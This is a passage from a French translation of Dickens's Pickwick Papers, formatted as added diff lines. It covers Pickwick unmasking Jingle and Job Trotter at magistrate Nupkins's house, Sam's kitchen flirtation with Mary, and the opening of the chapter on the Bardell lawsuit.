+serrant les coins de sa bouche, secoua lentement sa tête.
+
+«Monsieur Jinks, dit le magistrat gravement, vous êtes un âne,
+monsieur.»
+
+En entendant cette petite expression familière, M. Jinks sourit encore,
+peut-être plus faiblement que la première fois, et se retira par degrés
+dans son coin.
+
+Pendant quelques secondes M. Nupkins débattit la question en lui-même.
+Ensuite, se levant d'un air résolu, il invita M. Pickwick et Sam à le
+suivre, et les conduisit dans une petite chambre qui s'ouvrait sur la
+salle de justice. Là, il leur fit signe d'aller jusqu'au fond, et
+lui-même resta à l'entrée, tenant sa main sur la porte à demi fermée,
+afin de pouvoir facilement battre en retraite s'il découvrait chez ses
+justiciables la plus légère manifestation d'intentions hostiles. Enfin
+il déclara qu'il était prêt à entendre leurs communications, quelles
+qu'elles pussent être.
+
+«Monsieur, dit M. Pickwick, j'arriverai au fait tout d'un coup, car il
+s'agit d'une chose qui affecte notablement votre personne et votre
+honneur. J'ai tout lieu de croire, monsieur, que vous recevez dans votre
+maison un vil imposteur.
+
+--Deux! interrompit Sam; le valet en livrée violette enfonce tout le
+monde, en fait de larmes et de la scélératesse!
+
+--Sam, dit M. Pickwick, je vous prie de vous modérer, afin que je puisse
+me rendre intelligible à ce gentleman.
+
+--Très-fâché, monsieur, répliqua Sam; mais quand je pensa à ce Job ici.
+Je ne peux pas m'empêcher d'ouvrir un peu la soupape de sûreté,
+autrement j'éclaterais.
+
+--En un mot, monsieur, reprit M. Pickwick, mon domestique a-t-il raison
+de supposer qu'un certain capitaine Fitz-Marshall est dans l'habitude de
+vous faire des visites. Je vous demande cela, ajouta M. Pickwick en
+voyant que M. Nupkins était sur le point de l'interrompre avec
+indignation; je vous demande cela parce que je sais que cet individu est
+un....
+
+--Chut! chut! dit M, Nupkins en fermant la porte. Vous savez qu'il est
+quoi, monsieur?
+
+--Un vagabond sans principes, un misérable aventurier, qui vit aux
+dépens de la société; qui prend les gens faciles à tromper pour ses
+dupes, monsieur; pour ses absurdes, ses malheureuses, ses ridicules
+dupes, monsieur, s'écria M. Pickwick surexcité.
+
+--Dieu nous assiste! dit M. Nupkins en rougissant jusqu'aux oreilles, et
+en changeant sur-le-champ toutes ses manières. Dieu nous assiste,
+monsieur....
+
+--Pickwick, souffla Sam.
+
+--Pickwick, répéta le magistrat. Dieu nous assiste, monsieur Pickwick.
+Asseyez-vous, je vous en prie. Que me dites-vous là! Le capitaine
+Fitz-Marshall!
+
+--Ne l'appelez pas capitaine, interrompit Sam; ni Fitz-Marshall non
+plus. Il n'est ni l'un ni l'autre. C'est un cabotin qui s'appelle
+Jingle; et si jamais il y a eu un loup en habit violet, c'est ce Job
+Trotter ici.
+
+--Cela est très-vrai, monsieur, dit M. Pickwick en réponse au regard
+d'étonnement du magistrat; et ma seule affaire dans cette ville, était
+de démasquer l'individu dont nous parlons.»
+
+Alors M. Pickwick répandit dans l'oreille épouvantée du magistrat, un
+récit abrégé de toutes les atrocités de M. Jingle. Il rapporta comment
+leur connaissance s'était faite; comment Jingle s'était échappé avec
+miss Wardle; comment il avait joyeusement renoncé à cette demoiselle
+pour une somme d'argent; comment il avait attiré M. Pickwick, à minuit,
+dans une pension de jeunes demoiselles; et comment lui, M. Pickwick,
+regardait comme un devoir de dévoiler sa présente usurpation de nom et
+de qualité.
+
+A mesure que cette narration s'avançait, tout le sang qui circulait
+habituellement dans le corps de M. Nupkins, se rassemblait dans les
+veines de son visage et jusqu'aux extrémités de ses oreilles. Il avait
+ramassé le capitaine à une course de chevaux du voisinage, et l'avait
+présenté à mistress Nupkins et à miss Nupkins. Celles-ci, charmées par
+la longue liste des connaissances aristocratiques du capitaine
+Fitz-Marshall, par ses lointains voyages, par sa tournure fashionable,
+avaient exhibé le capitaine Fitz-Marshall, cité le capitaine
+Fitz-Marshall, jeté le capitaine Fitz-Marshall au nez de toutes leurs
+connaissances; tellement que leurs amis de coeur, madame Porkenham, et
+les misses Porkenham, et M. Sidney Porkenham étaient près d'en crever de
+jalousie et de désespoir; et maintenant, après tout cela, il se trouvait
+que c'était un pauvre aventurier, un acteur ambulant, et sinon un
+escroc, du moins quelque chose qui y ressemblait tellement qu'il était
+bien difficile d'en faire la différence! Juste ciel! que diraient les
+Porkenham! quel serait le triomphe de M. Sidney Porkenham quand il
+connaîtrait le rival à qui ses galanteries avaient été sacrifiées!
+Comment M. Nupkins oserait-il soutenir les regards du vieux Porkenham
+aux prochaines assises? Et si l'histoire se répandait, quel texte pour
+l'opposition magistrale!
+
+Il y eut un long silence.
+
+«Mais après tout, s'écria M. Nupkins, en redevenant radieux pour un
+instant; après tout, ceci n'est qu'une simple allégation. Le capitaine
+Fitz-Marshall a des manières fort engageantes, et j'ose dire qu'il s'est
+fait plus d'un ennemi. Quelles preuves avez-vous de la vérité de cette
+accusation?
+
+--Confrontez-moi avec lui, voilà tout ce que je vous demande, tout ce
+que j'exige. Confrontez-le avec moi et avec mes amis. Aurez-vous besoin
+d'autres preuves?
+
+--Vraiment, cela serait très-facile, car il vient ici ce soir, et alors
+il n'y aurait pas besoin de rendre l'affaire publique, dans l'intérêt...
+dans l'intérêt du jeune homme seulement; vous voyez... cependant, je...
+je voudrais d'abord consulter Mme Nupkins, sur la convenance de cette
+démarche. Mais à tous événements, monsieur Pickwick, il faut expédier
+cette affaire légale avant de nous occuper d'autre chose. Revenez, je
+vous prie, dans la salle.
+
+Lorsqu'on y fut réinstallé: «Grummer! dit le magistrat, d'une voix
+majestueuse:
+
+--Votre Vin-à-ration, répondit Grummer avec le sourire d'un favori.
+
+--Allons, allons, monsieur, reprit le magistrat sévèrement; pas de
+légèreté ici: c'est fort inconvenant, et je vous assure que vous avez
+peu de raison de sourire. Le récit que vous m'avez fait tout à l'heure
+était-il exactement vrai? Faites attention à vos réponses, monsieur.
+
+--Votre Vin-à-ration balbutia Grummer, je....
+
+--Ah! vous vous troublez, monsieur! Monsieur Jinks, remarquez-vous qu'il
+se trouble?
+
+--Certainement, monsieur.
+
+--Hé bien! voyons, répétez votre déposition, Grummer; et je vous avertis
+encore de prendre garde à vous. Monsieur Jinks, écrivez sa déposition.»
+
+L'infortuné Grummer commença donc à redire sa plainte. Mais grâce à ce
+que M. Jinks recueillait ses paroles, tandis que le magistrat les
+relevait, grâce aussi à sa diffusion naturelle et à sa confusion
+présente, en moins de trois minutes il parvint à s'embarrasser dans un
+tel gâchis de contradictions, que M. Nupkins déclara positivement qu'il
+ne le croyait pas. Les amendes furent donc annulées; M. Jinks trouva en
+moins de rien une couple de cautions, et toutes ces opérations
+solennelles ayant été terminées d'une manière satisfaisante, M. Grummer
+fut ignominieusement renvoyé: exemple terrible de l'instabilité des
+grandeurs humaines, et du peu de confiance qu'on doit avoir dans la
+faveur des grands.
+
+Mme Nupkins était une femme dédaigneuse et sévère, en turban de gaze
+bleue et en perruque brune. Miss Nupkins possédait toute la hauteur de
+sa mère, moins le turban, et toute sa mauvaise humeur, moins la
+perruque. Or, chaque fois que l'exercice de ces deux aimables qualités
+embarrassait la mère et la fille dans quelque dilemme désagréable, ce
+qui arrivait assez fréquemment, elles se réunissaient pour jeter tout le
+blâme sur les épaules de M. Nupkins. Ainsi, lorsque celui-ci alla
+trouver son épouse, et lui communiqua les détails qui lui avaient été
+donnés par M. Pickwick, madame Nupkins se rappela tout à coup qu'elle
+avait toujours soupçonné quelque chose de la sorte; qu'elle avait
+toujours dit que cela devait arriver; qu'on n'avait jamais voulu écouter
+ses avis; que réellement elle ne savait pas pour qui M. Nupkins la
+prenait, etc., etc.
+
+«Est-il possible, s'écria miss Nupkins en fabriquant, dans le coin de
+chaque oeil, une larme d'une très-maigre dimension, est-il possible que
+j'aie été ainsi tournée en ridicule!
+
+--Ah! ma chère, dit Mme Nupkins, vous pouvez en remercier votre papa.
+Combien je l'ai supplié de s'informer de la famille du capitaine!
+combien je l'ai pressé de prendre un parti décisif. Je suis sûre que
+personne ne voudrait le croire à présent.
+
+--Mais ma chère,... fit observer M. Nupkins.
+
+--Ne me parlez pas, être insupportable!
+
+--Mon amour, vous aimiez tant le capitaine Fitz-Marshall; vous
+l'invitiez constamment ici, et vous ne perdiez aucune occasion de
+l'introduire chez nos amis.
+
+--Ne le disais-je pas, Henriette! s'écria Mme Nupkins en s'adressant à
+sa fille avec l'air d'une femme injuriée; ne vous le disais-je pas, que
+votre papa se retournerait et mettrait tout cela sur mon dos. Ne le
+disais-je pas!...» Ici Mme Nupkins fondit en larmes.
+
+«Oh! pa! fit miss Nupkins, d'un ton de reproche;» et elle se mit
+également à pleurer.
+
+«N'est-ce pas trop fort, sanglotait Mme Nupkins, n'est-ce pas trop fort
+de me reprocher que je suis la cause de tout ceci, quand c'est lui-même
+qui a attiré ce ridicule sur notre famille!
+
+--Comment pourrons-nous jamais nous remontrer dans la société? murmura
+miss Nupkins.
+
+--Comment pourrons-nous envisager les Porkenham?
+
+--Ou les Grigg?...
+
+--Ou les Slummintowkens? Mais qu'est-ce que cela fait à votre papa?
+qu'est-ce que cela lui fait, à lui!» A cette terrible réflexion,
+l'angoisse mentale de Mme Nupkins ne connut plus de bornes, et miss
+Nupkins poussa des soupirs déchirants.
+
+Les pleurs de Mme Nupkins continuèrent à jaillir avec grande vitesse,
+jusqu'au moment où elle eut décidé dans son esprit que la meilleure
+chose à faire, était d'engager M. Pickwick et ses amis à rester chez
+elle jusqu'à l'arrivée du capitaine. Si l'imposture de celui-ci était
+alors avérée, on l'exclurait de la maison sans divulguer la véritable
+cause de ce renvoi; et l'on dirait aux Porkenham, pour expliquer sa
+disparition, que le capitaine, grâce à l'influence de sa famille, était
+nommé gouverneur général de Sierra-Leone, ou de Sangur-Point, ou de
+quelque autre de ces pays salubres, dont les Européens sont
+ordinairement si enchantés qu'ils n'en reviennent presque jamais.
+
+Quand Mme Nupkins eut séché ses larmes, miss Nupkins sécha aussi les
+siennes, et M. Nupkins s'estima fort heureux de terminer l'affaire comme
+le lui proposait son aimable moitié. En conséquence, M. Pickwick et ses
+amis, ayant lavé toutes les traces de leur _rencontre_, furent présentés
+aux dames, et peu de temps après au dîner. Quant à Sam Weller, le
+magistrat, avec sa sagacité particulière, reconnut en un clin d'oeil que
+c'était le meilleur garçon du monde, et le consigna aux soins
+hospitaliers de M. Muzzle, avec l'ordre spécial de l'emmener en bas, et
+d'avoir le plus grand soin de lui.
+
+--Comment vous portez-vous, monsieur? dit Muzzle à Sam Weller, en le
+conduisant à la cuisine.
+
+--Hé! hé! il n'y a pas grand changement depuis que je vous ai vu si bien
+redressé derrière la chaise de votre gouverneur, dans la salle.
+
+--Je vous demande excuse de ne pas avoir fait attention à vous pour
+lors. Vous voyez que mon patron ne nous avait pas présentés, pour lors.
+Dame! il vous aime bien, monsieur Weller!
+
+--Ah! c'est un bien gentil garçon.
+
+--N'est-ce pas?
+
+--Si jovial!
+
+--Et un fameux homme pour parler! Comme ses idées sont coulantes, hein?
+
+--Étonnant! elles débondent si vite qu'elles se cognent la tête l'une
+sur l'autre que c'en est étourdissant, et qu'on ne sait pas seulement de
+quoi il s'agit.
+
+--C'est le grand mérite de son style d'éloquence.... Prenez garde au
+dernier pas, monsieur Weller. Voudriez-vous vous laver les mains avant
+de rejoindre les ladies? Voilà une fontaine, et il y a un essuie-mains
+blanc accroché derrière la porte.
+
+--Je ne serai pas fâché de me rincer un brin, répliqua Sam, en
+appliquant force savon noir sur le torchon. Combien y a-t-il de dames?
+
+--Seulement deux dans notre cuisine. Cuisinière et bonne. Nous avons un
+garçon pour faire les ouvrages sales et une fille de plus; mais ça dîne
+dans la buanderie.
+
+--Ah! ça dîne dans la buanderie!
+
+--Oui, nous en avons essayé à notre table quand c'est arrivé; mais nous
+n'avons pas pu y tenir; les manières de la fille sont horriblement
+vulgaires, et le garçon fait tant de bruit en mâchant, que nous avons
+trouvé impossible de rester à table avec lui.
+
+--Oh! quel jeune popotame!
+
+--C'est dégoûtant! voilà ce qu'il y a de pire dans le service de
+province, monsieur Weller; les jeunes gens sont si tellement mal
+élevés.... Par ici, monsieur, s'il vous plaît.» Tout en parlant ainsi et
+en précédant Sam avec la plus exquise politesse, Muzzle le conduisit
+dans la cuisine.
+
+«Mary, dit-il à la jolie servante, c'est M. Weller, un gentleman que
+notre maître a envoyé en bas pour être fait aussi confortable que
+possible.
+
+--Et votre maître s'y connaît. Il m'a envoyé au bon endroit pour ça,
+ajouta Sam en jetant un regard d'admiration à la jolie bonne; si j'étais
+le maître de cette maison ici, je serais toujours où Mary serait.
+
+--Oh! monsieur Weller! fit Mary en rougissant.
+
+--Eh bien! et moi, donc! s'écria la cuisinière.
+
+--Ah! cuisinière, je vous avais oubliée, dit M. Muzzle. Monsieur Weller,
+permettez-moi de vous présenter.
+
+--Comment vous portez-vous, madame? demanda Sam à la cuisinière.
+Très-enchanté de vous voir, et j'espère que notre connaissance durera
+longtemps, comme dit le gentleman à la banknote de cinq guinées.»
+
+Après les cérémonies de là présentation, la cuisinière et Mary se
+retirèrent dans leur cuisine pour chuchoter pendant dix minutes, et
+lorsqu'elles furent revenues toutes minaudantes et rougissantes, on
+s'assit pour dîner.
+
+Les manières aisées de Sam et ses talents de conversation eurent une
+influence si irrésistible sur ses nouveaux amis, qu'à la moitié du dîner
+il était déjà avec eux sur un pied d'intimité complète, et les avait mis
+en pleine possession des perfidies de Job Trotter.
+
+«Je n'ai jamais pu supporter cet homme-là, dit Mary.
+
+--Et vous ne le deviez pas non plus, ma chère, répliqua Sam.
+
+--Pourquoi cela?
+
+--Parce que la laideur et l'hypocrisie ne va jamais d'accord avec
+l'élégance et la vertu. C'est-il pas vrai, monsieur Muzzle?
+
+--Certainement.»
+
+A ces mots Mary se prit à rire et assura que c'était à cause de la
+cuisinière, et la cuisinière, assurant que non, se prit à rire aussi.
+
+«Tiens, je n'ai pas de verre, dit Mary.
+
+--Buvez avec moi, ma chère, reprit Sam, mettez vos lèvres sur ce verre
+ici, et alors je pourrai vous embrasser par procuration.
+
+--Fi donc! monsieur Weller!
+
+--Pourquoi fi, ma chère?
+
+--Pour parler comme ça.
+
+--Bah! il n'y a pas de mal. C'est dans la nature. Pas vrai, cuisinière?
+
+--Taisez-vous, impertinent,» répliqua celle-ci avec un visage de
+jubilation. Et là-dessus la cuisinière et Mary se prirent à rire encore,
+jusqu'à ce que le rire et la bière et la viande combinés eussent mis la
+charmante bonne en danger d'étouffer. Elle ne tut tirée de cette crise
+alarmante qu'au moyen de fortes tapes sur le dos et de plusieurs autres
+petites attentions, délicatement administrées par le galant Sam.
+
+Au milieu de ces joyeusetés, on entendit sonner violemment, et le jeune
+gentleman qui prenait ses repas dans la buanderie, alla immédiatement
+ouvrir la porte du jardin. Sam était dans le feu de ses galanteries
+auprès de la jolie bonne; M. Muzzle s'occupait de faire les honneurs de
+la table, et la cuisinière ayant cessé de rire un instant portait à sa
+bouche un énorme morceau, lorsque la porte de la cuisine s'ouvrit pour
+laisser entrer M. Job Trotter.
+
+Nous avons dit pour laisser _entrer_ M. Job Trotter, mais cette
+expression n'a pas l'exactitude scrupuleuse dont nous nous piquons. La
+porte s'ouvrit et M. Job Trotter parut. Il serait entré, et même il
+était en train d'entrer, lorsqu'il aperçut Sam. Reculant
+involontairement un pas ou deux, il resta muet et immobile à contempler
+avec étonnement et terreur la scène qui s'offrait à ses yeux.
+
+«Le voici! s'écria Sam, en se levant plein de joie. Eh bien! je parlais
+de vous dans ce moment ici, comment ça va-t-il? pourquoi donc êtes-vous
+si rare? Entrez.» En disant ces mots, il mit la main sur le collet
+violet de Job, le tira sans résistance dans la cuisine, ferma la porte
+et en passa la clef à M. Muzzle, qui l'enfonça froidement dans une poche
+de côté, et boutonna son habit par-dessus.
+
+«Eh bien! en voilà une farce! s'écria Sam. Mon maître qui a le plaisir
+de rencontrer votre maître là haut, et moi qui a le plaisir de vous
+rencontrer ici en bas. Comment ça vous va-t-il? Et notre petit commerce
+d'épiceries, ça marche-t-il bien? Véritablement, je suis charmé de vous
+voir. Comme vous avez l'air content! C'est charmant. N'est-il pas vrai,
+M. Muzzle?
+
+--Certainement.
+
+--Il est si jovial!
+
+--De si bonne humeur!
+
+--Et si content de nous voir! C'est ça qui fait le plaisir d'une
+réunion. Asseyez-vous, asseyez-vous.»
+
+Job se laissa asseoir sur une chaise, au coin du feu, et dirigea ses
+petits yeux d'abord sur Sam, pois sur Muzzle; mais il ne dit rien.
+
+«Eh bien! maintenant, reprit Sam, faites-moi l'amitié de me dire devant
+ces dames ici, si vous croyez être le gentleman le plus gentil et le
+mieux éduqué qui a jamais employé un mouchoir rouge et les hymnes n° 4.
+
+--Et qui a jamais été pour être marié à une cuisinière, le mauvais
+gueux! s'écria la cuisinière avec une sainte indignation.
+
+--Et pour mener une vie plus vertueuse et pour s'établir dans
+l'épicerie, ajouta la bonne.
+
+--Jeune homme? vociféra Muzzle, enragé par ces deux dernières allusions;
+écoutez-moi-z-un peu maintenant. Cette lady ici (montrant la cuisinière)
+est ma bonne amie. Et quand vous avez le toupet de parler de tenir une
+boutique d'épiceries avec elle, vous me blessez, monsieur, dans
+l'endroit le plus sensible où un homme pût en blesser un autre. Me
+comprenez-vous, monsieur?»
+
+Ici Muzzle, qui, comme son maître, avait une grande idée de son
+éloquence, s'arrêta pour attendre une réponse, mais Job ne paraissant
+pas disposé à parler, Muzzle poursuivit avec solennité.
+
+«Il est très-probable, monsieur, qu'on n'aura pas besoin de vous là-haut
+d'ici à quelque temps, parce que mon maître est en train de faire
+l'affaire de votre maître, monsieur: ainsi, vous aurez le temps de me
+parler un petit peu en particulier, monsieur. Me comprenez-vous,
+monsieur?»
+
+M. Muzzle se tut encore, attendant toujours une réponse, et M. Trotter
+le désappointa de nouveau.
+
+«Eh bien, pour lors, reprit-il, je suis très-fâché d'être obligé de
+m'expliquer devant ces dames, mais la nécessité du cas sera mon excuse.
+L'arrière-cuisine est vide, monsieur, si vous voulez y passer, monsieur,
+M. Weller sera témoin, et nous aurons une satisfaction mutuelle jusqu'à
+ce que la sonnette sonne. Suivez-moi, monsieur.»
+
+En disant ces mots le vaillant domestique fit un pas ou deux vers la
+porte, tout en ôtant son habit afin de ne point perdre de temps.
+
+Mais aussitôt que la cuisinière entendit les dernières paroles de ce
+défi mortel, aussitôt qu'elle vit M. Muzzle se préparer pour le combat
+singulier, elle poussa un cri déchirant, et se précipita sur M. Trotter,
+qui se leva vainement, à l'instant même; elle souffleta, elle égratigna
+son large visage, et entortillant ses mains dans les cheveux plats du
+nouveau Job, elle en arracha de quoi faire cinq ou six douzaines de
+bagues. Ayant accompli cet exploit avec l'ardeur que lui inspirait son
+amour dévoué pour M. Muzzle, elle chancela et tomba évanouie sous la
+table, car c'était une dame douée de sentiments fort délicats et fort
+excitables.
+
+En ce moment la sonnette retentit.
+
+«C'est pour vous, Job Trotter,» dit Sam, et avant que celui-ci pût
+résister ou faire des remontrances, avant même qu'il eût étanché le sang
+qui coulait de ses blessures, Sam le prit par un bras, Muzzle par
+l'autre, et le premier le tirant, le second le poussant, ils lui firent
+monter les escaliers et l'introduisirent dans le parloir.
+
+La scène qui s'y passait était remplie d'intérêt. Alfred Jingle,
+esquire, autrement le capitaine Fitz-Marshall, était debout près de la
+porte, son chapeau à la main, avec un sourire sur son visage, et une
+physionomie qui n'était nullement émue par sa désagréable situation. En
+face de lui se trouvait M. Pickwick, qui, évidemment, lui avait inculqué
+quelque leçon d'une haute morale, car sa main gauche était cachée sous
+les pans de son habit, et sa main droite, étendue en l'air, comme
+c'était son habitude quand il prononçait un discours destiné à faire
+impression. Un peu en arrière on voyait M. Tupman, bouillant
+d'indignation, mais soigneusement retenu par ses deux jeunes amis.
+Enfin, à l'extrémité de la chambre se tenaient M. Nupkins, Mme Nupkins
+et miss Nupkins, tous avec un air hautain et sombre, plein de menaces et
+de vexations.
+
+Au moment où Job fut amené, M. Nupkins déclamait avec une dignité
+magistrale:
+
+«Qui m'empêche, disait-il, de faire détenir ces individus comme des
+fripons et des imposteurs? Pourquoi céder à une folle compassion? Qui
+m'en empêche?
+
+--L'orgueil, vieux camarade, l'orgueil, répliqua Jingle d'un air calme.
+Mauvais effet--attrapé un capitaine! Ha! ha!--l'excellente charge!--bon
+parti pour notre fille.--A trompeur trompeur et demi!--Rendre cela
+public?--Pas pour un empire;--on en dirait trop, beaucoup trop.
+
+Misérable! s'écria Mme Nupkins, nous méprisons vos basses insinuations.
+
+--Je l'ai toujours détesté, ajouta Henriette.
+
+--Oh! nécessairement.--Grand jeune homme,--vieux adorateur.--Sidney
+Porkenham,--riche, joli garçon.--Pas si riche que le capitaine, malgré
+ça..., eh! son congé.--On fait tout au monde pour le capitaine,--le
+capitaine n'a pas son pareil.--Toutes les demoiselles folles de lui, eh!
+Job, eh?»
+
+Ici M. Jingle se mit à rire de tout son coeur, et Job, frottant ses mains
+avec délices, laissa échapper le premier son qu'il se fût encore permis,
+depuis qu'il était entré dans la maison; c'était un ricanement sans
+bruit, retenu, qui semblait indiquer qu'il en jouissait trop pour en
+laisser évaporer aucune partie en vaines démonstrations.
+
+«M. Nupkins, dit l'aînée des deux dames, voilà une conversation que les
+domestiques n'ont pas besoin d'entendre. Faites éloigner ces deux
+misérables.
+
+--Certainement, ma chère.--Muzzle.
+
+--Votre Vénération...
+
+--Ouvrez la porte.
+
+--Oui, Votre Vénération...
+
+--Quittez cette maison, misérables! s'écria M. Nupkins d'une manière
+emphatique.»
+
+Jingle sourit et se dirigea vers la porte.
+
+«Arrêtez,» dit M. Pickwick.
+
+Jingle s'arrêta.
+
+«J'aurais pu, poursuivit M. Pickwick, j'aurais pu me venger davantage du
+traitement que vous m'avez fait éprouver, de concert avec votre ami
+l'hypocrite... (Ici Job salua avec la plus grande politesse, en posant
+la main sur son coeur.) Je dis, continua M. Pickwick, en s'échauffant
+graduellement, je dis que j'aurais pu me venger davantage; mais je me
+contente de vous démasquer, car c'est un devoir envers mes semblables.
+Je me flatte, monsieur, que vous n'oublierez pas cette modération. (En
+cet endroit Job Trotter, avec une facétieuse gravité, appliqua sa main à
+son oreille comme pour ne pas perdre une syllabe de ce que disait M.
+Pickwick.) Je n'ai plus qu'une chose à ajouter, continua le philosophe,
+tout à fait irrité: c'est que je vous regarde comme un fripon... et
+un... un coquin... le plus mauvais coquin que j'aie jamais rencontré...
+excepté ce pieux vagabond en livrée violette!
+
+--Ha! ha! ha! ricana Jingle. Bon garçon,--Pickwick; bon coeur!--vieux
+gaillard solide!--mais il ne faut pas être si colère,--mauvaise
+chose.--Adieu, adieu; vous reverrai quelque jour.--Ne vous chagrinez
+pas.--Job, trotte!»
+
+En prononçant ces mots, M. Jingle enfonça son chapeau à sa mode et
+s'éloigna d'un pas mesuré. Job s'arrêta, regarda autour de lui, sourit,
+puis, adressant à M. Pickwick un salut sérieusement moqueur, et à Sam un
+coup d'oeil dont l'audacieuse malice surpasse toute description, il
+suivit les pas de son estimable maître.
+
+«Sam, dit M. Pickwick, en voyant que son domestique prenait le même
+chemin.
+
+--Monsieur.
+
+--Restez ici.»
+
+Sam parut incertain.
+
+«Restez ici, répéta M. Pickwick.
+
+--Est-ce que je ne pourrais pas rabattre un peu ce Job Trotter dans le
+jardin?
+
+--Non certainement.
+
+--Est-ce que je ne peux pas le reconduire à coups de pied, monsieur?
+
+--Non, sous aucun prétexte.»
+
+Pendant un moment, pour la première fois depuis son engagement, Sam eut
+l'air mécontent et malheureux. Mais sa contenance s'éclaircit
+immédiatement, car le rusé Muzzle, qui s'était caché derrière la porte,
+en sortit vivement à l'instant précis, et parvint fort habilement à
+faire rouler Jingle et son acolyte le long des escaliers, et jusque dans
+les aloès américains, qui les attendaient en bas.
+
+«Maintenant, monsieur, dit M. Pickwick à M. Nupkins, maintenant,
+monsieur, ayant accompli notre dessein, mes amis et moi, nous allons
+vous faire nos adieux, et tout en vous remerciant pour l'hospitalité que
+nous avons reçue, permettez-moi de vous assurer, en leur nom comme au
+mien, que nous ne l'aurions pas acceptée, et que nous n'aurions pas
+consenti à sortir ainsi de la situation où nous nous trouvions, si nous
+n'y avions pas été incités par un vif sentiment de devoir. Nous
+retournons à Londres demain matin: votre secret est en sûreté avec
+nous.»
+
+Ayant ainsi protesté contre ce qui s'était passé dans la matinée, M.
+Pickwick fit un profond salut aux dames, et malgré les sollicitations de
+la famille, quitta la chambre avec ses amis.
+
+«Prenez votre chapeau, Sam, dit-il à son domestique.
+
+--Il est en bas, monsieur,» répliqua Sam, et il courut le quérir dans la
+cuisine.
+
+Le chapeau étant égaré, Sam fut obligé de le chercher et Mary, qui se
+trouvait là toute seule, l'éclaira. Après avoir regardé de tous les
+côtés, la jolie bonne, dans son anxiété pour trouver le chapeau perdu,
+se mit sur ses genoux et retourna tous les objets entassés dans un petit
+coin derrière la porte. C'était un petit coin fort incommode. On ne
+pouvait y arriver sans commencer par fermer la porte.
+
+«Le voilà, dit enfin la jolie bonne, n'est-ce pas cela?
+
+--Voyons,» fit Sam.
+
+Mary avait posé la chandelle sur le plancher, et, comme elle éclairait
+fort peu, Sam fut obligé de se mettre aussi à genoux pour voir si
+c'était réellement son chapeau. Le recoin était remarquablement petit,
+et ainsi, sans qu'il y eût de la faute de personne, excepté de
+l'architecte qui avait bâti la maison Sam et la jolie bonne se
+trouvaient nécessairement fort près l'un de l'autre.
+
+«C'est bien lui, dit Sam, adieu.
+
+--Adieu, répondit la jolie bonne.
+
+--Adieu, répéta Sam, et en disant cela il laissa tomber le chapeau qu'il
+avait eu tant de peine à trouver.
+
+--Comme vous êtes maladroit! dit Mary. Vous le perdrez encore si vous
+n'y prenez pas garde.» Et pour qu'il ne se perdit plus, elle le lui mit
+sur la tête.
+
+Le visage de la jolie bonne paraissait plus joli encore, étant ainsi
+levé vers Sam: or, soit à cause de cela, soit par une simple conséquence
+de leur juxtaposition, il arriva que Sam l'embrassa.
+
+«J'espère que vous ne l'avez pas fait exprès! s'écria-t-elle en
+rougissant.
+
+--Non, ma chère, mais je vais la faire exprès à présent;» et il
+l'embrassa une seconde fois.
+
+«Sam! cria M. Pickwick par-dessus la rampe.
+
+--Voilà, monsieur, répondit Sam, en montant les marches quatre à quatre.
+
+--Vous avez été bien longtemps.
+
+--Il y avait quelque chose derrière la porte, qui nous a empêchés de
+l'ouvrir pendant tout se temps-là, monsieur.»
+
+Tel fut le premier chapitre des amours de Sam.
+
+
+
+
+CHAPITRE XXVI.
+
+Contenant un récit abrégé des progrès de l'action _Bardell contre
+Pickwick_.
+
+
+Ayant accompli le principal objet de son voyage en démasquant l'infamie
+de Jingle, M. Pickwick résolut de retourner immédiatement à Londres,
+afin de savoir quelles mesures Dodson et Fogg avaient prises contre lui.
+Exécutant cette résolution avec toute l'énergie de son caractère, il
+monta à l'extérieur de la première voiture qui quitta Ipswich, le
+lendemain du jour où se passèrent les mémorables événements que nous
+venons de rapporter, et arriva dans la métropole le même soir, en
+parfaite santé, accompagné de ses trois disciples et de Sam.
+
+Là, nos amis se séparèrent pour quelque temps. MM. Tupman, Winkle et
+Snodgrass se rendirent à leurs domiciles, afin de faire les préparatifs
+nécessaires pour leur voyage prochain à Dingley-Dell: M. Pickwick et Sam
+s'établirent dans un hôtel fort bon quoique fort antique, le _George et
+Vautour_, George Yard, Lombard-street.
+
+M. Pickwick avait dîné et fini sa seconde pinte d'excellent porto; il
+avait enfoncé son mouchoir de soie sur sa tête, et posé ses pieds sur le
+garde-feu; enfin il s'était renversé dans sa bergère, lorsque l'entrée
+de Sam avec son sac de nuit le tira de sa tranquille méditation.
+
+«Sam, dit-il.
+
+--Monsieur?
+
+--Je pensais justement que j'ai laissé beaucoup de choses chez mistress
+Bardell, rue Goswell, et qu'il faudra que je les fasse prendre avant de
+repartir.
+
+--Très-bien, monsieur.
+
+--Je pourrais les envoyer pour le moment chez M. Tupman. Mais avant de
+les faire enlever, il faudrait les mettre en ordre. Je désirerais que
+vous allassiez jusqu'à la rue Goswell et que vous arrangeassiez tout
+cela, Sam.
+
+--Tout de suite, monsieur?
+
+--Tout de suite. Et... attendez, Sam, ajouta M. Pickwick en tirant sa
+bourse. Il faut payer le loyer. Le terme n'est dû qu'à Noël, mais vous
+le payerez pour que tout soit fini. Je puis donner congé en prévenant un
+mois d'avance. Voici le congé. Donnez-le à Mme Bardell. Elle mettra
+écriteau quand elle voudra.
+
+--Très-bien, monsieur. Rien de plus?
+
+--Rien de plus, Sam.»
+
+Sam se dirigea à petits pas vers l'escalier, comme s'il eût attendu
+encore quelque chose. Il ouvrit lentement la porte, et étant sorti
+lentement, l'avait doucement refermée, à deux pouces près, lorsque M.
+Pickwick cria:
+
+«Sam!
+
+--Oui, monsieur, répondit Sam, en revenant vivement et fermant la porte
+après soi.
+
+--Je ne m'oppose pas à ce que vous tâchiez de savoir comment Mme Bardell
+semble personnellement disposée envers moi, et s'il est réellement
+probable que ce procès infâme et sans base soit poussé à toute
+extrémité. Je dis que je ne m'oppose pas à ce que vous essayiez de
+découvrir cela, si vous le désirez, Sam.»
+
+Sam fit un léger signe d'intelligence et quitta la chambre. M. Pickwick
+enfonça de nouveau le mouchoir de soie sur sa tête et s'arrangea pour
+faire un somme.
+
+Il était près de neuf heures lorsque Sam atteignit la rue Goswell. Une
+paire de chandelles brûlaient dans le parloir, et l'ombre d'une couple
+de chapeaux se distinguait sur la jalousie. Mistress Bardell avait du
+monde.
+
+Sam frappa à la porte. Après un assez long intervalle, pendant lequel
+mistress Bardell tâchait de persuader une chandelle réfractaire de se
+laisser allumer, de petites bottes se firent entendre sur le tapis et
+master Bardell se présenta.
+
+«Eh bien! jeune homme, dit Sam, comment va c'te mère?
+
+--Elle ne va pas mal, ni moi non plus.
+
+--Eh bien! j'en suis charmé. Dites-lui que j'ai à lui parler, mon jeune
+phénomène.»
+
+Master Bardell, ainsi conjuré, posa la chandelle réfractaire sur la
